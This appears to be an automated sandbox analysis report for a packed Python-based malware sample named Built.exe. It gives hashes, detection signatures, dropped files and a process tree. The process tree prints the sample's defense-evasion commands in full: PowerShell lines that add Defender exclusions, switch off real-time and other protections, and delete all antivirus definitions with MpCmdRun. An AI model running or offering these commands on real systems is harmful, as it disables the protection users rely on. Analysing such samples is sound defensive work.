Analysis

  • max time kernel
    3s
  • max time network
    5s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    15-10-2024 19:50

General

  • Target

    Built.exe

  • Size

    6.9MB

  • MD5

    d52e90f10b06aa29742ccf2826aa4337

  • SHA1

    27b5e8e2b804404466e78529723452482957d9ca

  • SHA256

    5b30be2e6e9dd1106c4ad452a63aea6d1629fc34167fb7a770d9caf5c203b937

  • SHA512

    e1ec28f9a8e6a058a745b0d4d1e95c621dd750e7d1cda7be1f156a423556863ad0631cb0544f36a970ccd3b296918de1084b33296f40037bdf100c856b977a71

  • SSDEEP

    98304:8jDjWM8JEE1rrHamaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYKJJcGhEIFN:8j0WeNTfm/pf+xk4dWRptrbWOjgr2

Score
10/10

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 38 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:4416
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:3708
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:2136
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
        3⤵
          PID:4796
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3516
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
            PID:2888

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_bz2.pyd

        Filesize

        46KB

        MD5

        0c13627f114f346604b0e8cbc03baf29

        SHA1

        bf77611d924df2c80aabcc3f70520d78408587a2

        SHA256

        df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

        SHA512

        c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_ctypes.pyd

        Filesize

        57KB

        MD5

        38fb83bd4febed211bd25e19e1cae555

        SHA1

        4541df6b69d0d52687edb12a878ae2cd44f82db6

        SHA256

        cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

        SHA512

        f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_decimal.pyd

        Filesize

        104KB

        MD5

        7ba541defe3739a888be466c999c9787

        SHA1

        ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

        SHA256

        f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

        SHA512

        9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_hashlib.pyd

        Filesize

        33KB

        MD5

        596df8ada4b8bc4ae2c2e5bbb41a6c2e

        SHA1

        e814c2e2e874961a18d420c49d34b03c2b87d068

        SHA256

        54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

        SHA512

        e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_lzma.pyd

        Filesize

        84KB

        MD5

        8d9e1bb65a192c8446155a723c23d4c5

        SHA1

        ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

        SHA256

        1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

        SHA512

        4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_queue.pyd

        Filesize

        24KB

        MD5

        fbbbfbcdcf0a7c1611e27f4b3b71079e

        SHA1

        56888df9701f9faa86c03168adcd269192887b7b

        SHA256

        699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

        SHA512

        0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_socket.pyd

        Filesize

        41KB

        MD5

        4351d7086e5221398b5b78906f4e84ac

        SHA1

        ba515a14ec1b076a6a3eab900df57f4f37be104d

        SHA256

        a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

        SHA512

        a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_sqlite3.pyd

        Filesize

        54KB

        MD5

        d678600c8af1eeeaa5d8c1d668190608

        SHA1

        080404040afc8b6e5206729dd2b9ee7cf2cb70bc

        SHA256

        d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

        SHA512

        8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\_ssl.pyd

        Filesize

        60KB

        MD5

        156b1fa2f11c73ed25f63ee20e6e4b26

        SHA1

        36189a5cde36d31664acbd530575a793fc311384

        SHA256

        a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

        SHA512

        a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\base_library.zip

        Filesize

        1.4MB

        MD5

        83d235e1f5b0ee5b0282b5ab7244f6c4

        SHA1

        629a1ce71314d7abbce96674a1ddf9f38c4a5e9c

        SHA256

        db389a9e14bfac6ee5cce17d41f9637d3ff8b702cc74102db8643e78659670a0

        SHA512

        77364aff24cfc75ee32e50973b7d589b4a896d634305d965ecbc31a9e0097e270499dbec93126092eb11f3f1ad97692db6ca5927d3d02f3d053336d6267d7e5f

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\blank.aes

        Filesize

        123KB

        MD5

        cfa760754d15ed8bd82e733afb3bb5c6

        SHA1

        a029c585f896e9fbfe77e0634a07a6303d56077f

        SHA256

        39f20516317e79a6907409a6d5f4146a66d277773b92984c2831a7cb51d7f2a2

        SHA512

        1a40a5a3aaba9eafb32ba9f908d0023ffdc1ac408bac40704729c79a78793ccc759f641103a83e7ebb074dc523c61044b24a9ab941567bc462918b134b15338f

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\libcrypto-1_1.dll

        Filesize

        1.1MB

        MD5

        daa2eed9dceafaef826557ff8a754204

        SHA1

        27d668af7015843104aa5c20ec6bbd30f673e901

        SHA256

        4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

        SHA512

        7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\libssl-1_1.dll

        Filesize

        203KB

        MD5

        eac369b3fde5c6e8955bd0b8e31d0830

        SHA1

        4bf77158c18fe3a290e44abd2ac1834675de66b4

        SHA256

        60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

        SHA512

        c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\python311.dll

        Filesize

        1.6MB

        MD5

        bb46b85029b543b70276ad8e4c238799

        SHA1

        123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

        SHA256

        72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

        SHA512

        5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\rar.exe

        Filesize

        615KB

        MD5

        9c223575ae5b9544bc3d69ac6364f75e

        SHA1

        8a1cb5ee02c742e937febc57609ac312247ba386

        SHA256

        90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

        SHA512

        57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\rarreg.key

        Filesize

        456B

        MD5

        4531984cad7dacf24c086830068c4abe

        SHA1

        fa7c8c46677af01a83cf652ef30ba39b2aae14c3

        SHA256

        58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

        SHA512

        00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\select.pyd

        Filesize

        24KB

        MD5

        abf7864db4445bbbd491c8cff0410ae0

        SHA1

        4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

        SHA256

        ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

        SHA512

        8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\sqlite3.dll

        Filesize

        608KB

        MD5

        ddd0dd698865a11b0c5077f6dd44a9d7

        SHA1

        46cd75111d2654910f776052cc30b5e1fceb5aee

        SHA256

        a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

        SHA512

        b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

      • C:\Users\Admin\AppData\Local\Temp\_MEI8202\unicodedata.pyd

        Filesize

        293KB

        MD5

        bb3fca6f17c9510b6fb42101fe802e3c

        SHA1

        cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

        SHA256

        5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

        SHA512

        05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_az44jcfo.wuk.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • \Users\Admin\AppData\Local\Temp\_MEI8202\VCRUNTIME140.dll

        Filesize

        96KB

        MD5

        f12681a472b9dd04a812e16096514974

        SHA1

        6fd102eb3e0b0e6eef08118d71f28702d1a9067c

        SHA256

        d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

        SHA512

        7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

      • \Users\Admin\AppData\Local\Temp\_MEI8202\libffi-8.dll

        Filesize

        24KB

        MD5

        90a6b0264a81bb8436419517c9c232fa

        SHA1

        17b1047158287eb6471416c5df262b50d6fe1aed

        SHA256

        5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

        SHA512

        1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

      • memory/3708-88-0x00007FF9DFF43000-0x00007FF9DFF44000-memory.dmp

        Filesize

        4KB

      • memory/3708-229-0x00007FF9DFF40000-0x00007FF9E092C000-memory.dmp

        Filesize

        9.9MB

      • memory/3708-106-0x000001C671810000-0x000001C671886000-memory.dmp

        Filesize

        472KB

      • memory/3708-104-0x00007FF9DFF40000-0x00007FF9E092C000-memory.dmp

        Filesize

        9.9MB

      • memory/3708-98-0x00007FF9DFF40000-0x00007FF9E092C000-memory.dmp

        Filesize

        9.9MB

      • memory/3708-95-0x000001C671660000-0x000001C671682000-memory.dmp

        Filesize

        136KB

      • memory/4264-54-0x00007FF9F3630000-0x00007FF9F365D000-memory.dmp

        Filesize

        180KB

      • memory/4264-64-0x00007FF9F35B0000-0x00007FF9F35BD000-memory.dmp

        Filesize

        52KB

      • memory/4264-70-0x00007FF9F0B40000-0x00007FF9F0B6E000-memory.dmp

        Filesize

        184KB

      • memory/4264-71-0x00007FF9E0930000-0x00007FF9E0CA5000-memory.dmp

        Filesize

        3.5MB

      • memory/4264-73-0x00007FF9F0840000-0x00007FF9F08F8000-memory.dmp

        Filesize

        736KB

      • memory/4264-72-0x00000182AA060000-0x00000182AA3D5000-memory.dmp

        Filesize

        3.5MB

      • memory/4264-69-0x00007FF9E0CB0000-0x00007FF9E1298000-memory.dmp

        Filesize

        5.9MB

      • memory/4264-75-0x00007FF9F3860000-0x00007FF9F3884000-memory.dmp

        Filesize

        144KB

      • memory/4264-76-0x00007FF9F0B20000-0x00007FF9F0B34000-memory.dmp

        Filesize

        80KB

      • memory/4264-78-0x00007FF9F35A0000-0x00007FF9F35AD000-memory.dmp

        Filesize

        52KB

      • memory/4264-82-0x00007FF9F3630000-0x00007FF9F365D000-memory.dmp

        Filesize

        180KB

      • memory/4264-83-0x00007FF9EF7F0000-0x00007FF9EF90C000-memory.dmp

        Filesize

        1.1MB

      • memory/4264-86-0x00007FF9F3610000-0x00007FF9F3629000-memory.dmp

        Filesize

        100KB

      • memory/4264-89-0x00007FF9F35E0000-0x00007FF9F3603000-memory.dmp

        Filesize

        140KB

      • memory/4264-62-0x00007FF9F35C0000-0x00007FF9F35D9000-memory.dmp

        Filesize

        100KB

      • memory/4264-60-0x00007FF9F05A0000-0x00007FF9F0713000-memory.dmp

        Filesize

        1.4MB

      • memory/4264-58-0x00007FF9F35E0000-0x00007FF9F3603000-memory.dmp

        Filesize

        140KB

      • memory/4264-99-0x00007FF9F05A0000-0x00007FF9F0713000-memory.dmp

        Filesize

        1.4MB

      • memory/4264-56-0x00007FF9F3610000-0x00007FF9F3629000-memory.dmp

        Filesize

        100KB

      • memory/4264-47-0x00007FF9F3860000-0x00007FF9F3884000-memory.dmp

        Filesize

        144KB

      • memory/4264-48-0x00007FF9F3660000-0x00007FF9F366F000-memory.dmp

        Filesize

        60KB

      • memory/4264-25-0x00007FF9E0CB0000-0x00007FF9E1298000-memory.dmp

        Filesize

        5.9MB

      • memory/4264-230-0x00007FF9F35C0000-0x00007FF9F35D9000-memory.dmp

        Filesize

        100KB